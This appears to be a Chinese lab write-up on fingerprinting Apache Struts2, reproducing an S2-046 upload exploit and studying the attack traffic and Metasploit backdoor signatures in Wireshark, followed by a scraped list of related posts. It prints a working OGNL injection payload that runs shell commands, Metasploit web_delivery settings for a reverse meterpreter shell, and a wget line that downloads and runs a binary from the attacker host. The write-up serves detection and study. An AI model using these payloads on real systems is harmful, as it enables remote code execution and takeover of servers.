struts2漏洞

一、指纹识别

s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名

部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。

方法一
(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integration/editGangster.action) #但是不准确,因为spring框架或jboss框架有可能也存在.do文件
(2)在.action等接口后追加actionErrors参数或者输入错误路径,s2应用会触发报错,通过网页回显报错信息判断。s2常见报错关键词:no action mapped、org.apache.struts2.views.jsp、namespace、no result defined for action等 #spring报错关键词一般含有whitelabel Error Page等 方法二
在URL添加/struts/domTT.css,返回css代码 #在工程名后路径添加,就是网站根目录下,返回结果如下图一 方法三
在url每层路径前添加一个错误路径,如果回显相同结果则是s2,不同结果则是spring框架 #按照s2框架规则,层层向上查找action,但是存在nginx时nginx规则优先。

图一如下

二、漏洞利用的流量分析

1.使用检测工具

使用工具检测wireshark:
tcp.port == 2001 && http #首先筛选特殊端口加协议
http.request.method == POST # 查看请求方法为post的数据
http.request.code >= 400 #查看响应码为200
ip.src == 192.168.0.112 #指定源IP为攻击ip,查看data数据

2.使用手工注入

1.sumbit发送
2.使用bp抓包
3.构造payload内容如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
4.修改hex构造00截断 #如下图

wireshark语句查找:
# 未发包前先看一下目标ip的数据 ip.dst == 192.168.0.110 #结果显示无
# bp在send后,再次查看目标ip数据 ip.dst == 192.168.0.110 #如下图一
http contains "/doUpload" #如下图二

图一如下

图二如下

三、getshell的流量分析

使用msf进行getshell

1.使用exp模块生成个payload   #该模块表示在本地开启一个端口,目标机在访问攻击机该端口时,会将该端口内的文件读取至本地执行。
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

生成payload:
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj; chmod +x Tw2nth14; ./Tw2nth14& disown 将上述payload进行改造(;替换成&&)
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj&& chmod +x Tw2nth14&& ./Tw2nth14& disown

getshell

追踪它的目标ip以及源ip流
ip.dst == 192.168.0.110 && http #112发送payload数据到110成功

msf(108攻击机)与目标主机(110目标主机)建立连接

追踪流:ip.src == 192.168.0.108 && ip.dst == 192.168.0.110 && tcp.port == 1234

Data: 653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4…
000c29a70a60000c29461c210800450000b44c81400040066b98c0a8006cc0a8006e04d2e3ce877c0d962d59db35801801f5fa8100000101080a4f51a65401d43497653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4934e0530fb9b0bc5a8397ccf0a3cad5073c4ab7f0ae695a177ca7f8217a426b3e070424b771e4cf1d3cb2ee08d41a0079b81ddbbc53fde242c239771da4d012af8a514c5b0f26eee8103ea9ad0171f20ef2006813535f900d8f5dbc5

四、msf后门流量特征

msf后门三种类型:
协议:tcp、http、https
位数:默认生成后门32位(windows/shell/reverse_tcp),但是可以生成64位(windows/x64/shell/reverse_tcp)
模式:shell、meterpreter
连接:正向、反向(bind reverse) 以下用windows举例:
tcp流量:
eg:windows/shell/reverse_tcp
该流量包特征:异常端口持续传输数据、shell后门明文传输(在追踪流中可查看具体命令)
可以直接看到命令用于反制
eg:windows/meterpreter/reverse_tcp #如下图一
该流量包特征:异常端口持续传输数据、meterpreter后门进行加密
exe文件:文件头16进制是MZ开头 http流量:
数据包特征:固定请求和响应模板
请求模板包括UA、host、Connection、Cache-Control
响应模板包括content-Type、Connection、Server、Content-Length 后门set编码模块,在特征上与不编码有一定区别(比如文件体开头部分MZ ../等特征替换成.. .. ..等)但是数据包依旧有如上特征。 https流量:
server hello的JA3值固定 6523.... /22...

图一如下

五、参考文献:

红队第2篇:区分Spring与Struts2框架的几种新方法-腾讯云开发者社区-腾讯云 (tencent.com)

Struts2框架漏洞总结与复现(下)_s2-029-CSDN博客

https://github.com/abc123info/Struts2VulsScanTools #漏洞利用工具

msf中exploit的web_delivery模块 - 白桦林_HK - 博客园 (cnblogs.com)

msf后门流量分析_msf meterpreter流量检测-CSDN博客

红日复现为什么失败之struct-046流量分析加msf特征总结的更多相关文章

  1. CVE-2020-2883漏洞复现&&流量分析

    CVE-2020-2883漏洞复现&&流量分析 写在前面 网上大佬说CVE-2020-2883是CVE-2020-2555的绕过,下面就复现了抓包看看吧. 一.准备环境 靶机:win7 ...

  2. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  3. CVE-2020-2555漏洞复现&&流量分析

    CVE-2020-2555漏洞复现&&流量分析 一.准备环境 windows7: weblogic 12.2.1.4.0 JDK版本为jdk-8u261 关于weblogic搭建可以看 ...

  4. 10 个强大的开源 Web 流量分析工具(转帖)

    Web 流量分析工具多不胜数,从 WebTrends 这样专业而昂贵的,到 Google Analytics 这样强大而免费的,从需要在服务器端单独部署的,到可以从前端集成的,不一而足.本文收集并介绍 ...

  5. 两款HTTP流量分析工具HttpWatch与Fiddler的比较(转)

    最近突然想看看HTTP的消息到底是怎么回事,在网上搜了几款软件来监控,并且搜到了下面的文章,感觉介绍的不错,就copy下来了.下文摘自:http://www.imkevinyang.com/2009/ ...

  6. 【迎圣诞,拿大奖】+流量分析+Writeup分享

    太菜了太菜了,刚见到jsfuck时竟然不知道什么东西,自己都不敢说自己做过实验吧上的那道jsfuck题了. 进入正题: 首先解压发现两个文件,一个流量分析包,哇哇哇,我正好刚学了几天wireshark ...

  7. CTF MISC-USB流量分析出题记录

    USB流量分析 USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信.USB无线网卡网络传输内容等. 1.USB ...

  8. 开源流量分析系统 Apache Spot 概述(转)

    原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...

  9. 流量分析系统----讲解-echarts模拟迁移(结合china.js)

    百度 Echarts 地图->模拟迁徙,实现自动切换地图 小航哥注释: 1.本文主要是把模拟迁移的流程讲了一遍,讲的很好.具体实现参考航哥这篇随笔“流量分析系统----实现-echarts模拟迁 ...

  10. 网络流量分析——NPMD关注IT运维、识别宕机和运行不佳进行性能优化。智能化分析是关键-主动发现业务运行异常。科来做APT相关的安全分析

    科来 做流量分析,同时也做了一些安全分析(偏APT)——参考其官网:http://www.colasoft.com.cn/cases-and-application/network-security- ...

随机推荐

  1. bridge模式下 所有容器的 网关 都是 宿主机docker0网卡的ip

    bridge模式下 所有容器的 网关 都是 宿主机docker0网卡的ip

  2. 解决git clone 速度慢的问题

    解决git clone 速度慢的问题 1.原因 git clone特别慢是因为github.global.ssl.fastly.net域名被限制了. 只要找到这个域名对应的ip地址,然后在hosts文 ...

  3. .NET 9.0 使用 Vulkan API 编写跨平台图形应用

    前言 大家好,这次我来分享一下我自己实现的一个 Vulkan 库,这个库是用 C# 实现的,主要是为了学习 Vulkan 而写的. 在学习 Vulkan 的过程中,我主要参考 veldrid,它是一个 ...

  4. python基础学习4

    打开文件的方式 # 第一种 f = open('C:\project\pycharmprojects\\bigdata33\day05/cars.csv', mode='r', encoding='U ...

  5. 利用Linq Skip() Take()分页

    private void TestPostData() { string all = ""; List<int> listTimeCard = new List< ...

  6. java多线程---总结(1)

    线程创建.start.run 一.创建线程方式 java创建线程的方式,主要有三种:类Thread.接口Runnable.接口Callable. 1.Thread和Runnable进行比较 他们之间的 ...

  7. 同态加密技术及其在FL/MPC中的应用-洪澄

    转载:链接 Pailler是具有一次乘法同态的. Pailler 我好像一直叫的都是 "拍利尔" . 关于定理的证明,参考:Pailler 同态性 安全性 语义安全 DCR问题 简 ...

  8. ZUC-S盒输入输出测试

    问题 实现以二进制.十进制.十六进制的形式输入,经过S盒,输出十六进制 输入: 1.二进制:10001010010011110000011110111101 2.十进制:2320435133 3.十六 ...

  9. MySQL系统命令

    原文链接:https://blog.liuzijian.com/post/34b3b940-c053-9d75-06e2-07a2e7aeedc3.html 登录命令 mysql -h 主机 -P 端 ...

  10. Fractal pg walkthrough Easy

    nmap ┌──(root㉿kali)-[~] └─# nmap -p- -A 192.168.157.233 Starting Nmap 7.94SVN ( https://nmap.org ) a ...